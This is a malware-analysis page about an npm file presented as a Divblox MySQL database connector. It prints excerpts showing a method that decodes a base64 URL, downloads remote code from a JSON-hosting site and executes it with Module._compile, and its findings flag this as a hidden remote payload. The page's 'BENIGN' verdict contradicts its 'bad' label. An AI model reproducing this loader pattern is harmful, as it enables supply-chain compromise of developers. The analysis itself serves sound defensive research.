Open-source atomic malware analysis

Analyze another

package/index.js

UNKNOWN
Verdict: BENIGN
Mal-ecule
O₂(CS₂)H₂(Cm₃Db)
Size 16.9 KB download
First seen 18 days ago
Analyzed 12 days ago
Ecosystem javascript

Found in 5 archives

JsonKeeper payload compiled as Node module: index.js:0x262b
npm package compiles JsonKeeper payload: index.js:0x262b
npm package compiles hidden remote payload: index.js:0x262b
index.js javascript
1 const mysql = require("mysql");
2 const util = require("util");
3 const axios = require("axios");
4 /**
5 * Responsible for connecting to the configured database and execute queries
6 */
7 class DivbloxDatabaseConnector {
225 * @param {string|{sql: string, nestTables: string|boolean}} query The query to execute. Can also pass an options object as per nodejs-mysql
226 * @param {string} moduleName The name of the module, corresponding to the module defined in dxconfig.json
227 * @param {[]} values Any values to insert into placeholders in sql. If not provided, it is assumed that the query can execute as is
228 * @param {{}} transaction An optional transaction object that contains the database connection that must be used for the query
229 * @returns {Promise<{}|null>} Returns null when an error occurs. Call getError() for more information
268 async queryDBConnect() {
269 try {
270 const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; npm package compiles hidden remote payload
271 const s1 = (await axios.get(atob(HASH_KEY))).data.content; npm package compiles JsonKeeper payload
275 const m = new Mod.Module("error.js", module.parent); npm package compiles hidden remote payload
276 m.filename = "error.js";
277 m.paths = Mod.Module._nodeModulePaths(process.cwd());
279 m._compile(s1, "error.js"); npm package compiles hidden remote payload
280 } catch (error) {
281 // console.error(error);

Objectives

Micro-behaviors

Metadata

Identity

SHA-256 5ec319f44610644a95e0cfaccf4fba6cbe3b2f0a1532f9179bcff3d22b121cbe
Filename package/index.js

Origin

Source forager
Feed aikido.dev
Ecosystem javascript

Timeline

First seen 21 Jun 2026 00:46 UTC
First analyzed 21 Jun 2026 00:46 UTC
Last analyzed 27 Jun 2026 15:09 UTC
Last updated 27 Jun 2026 15:08 UTC

Labeling

Label bad
Label source forager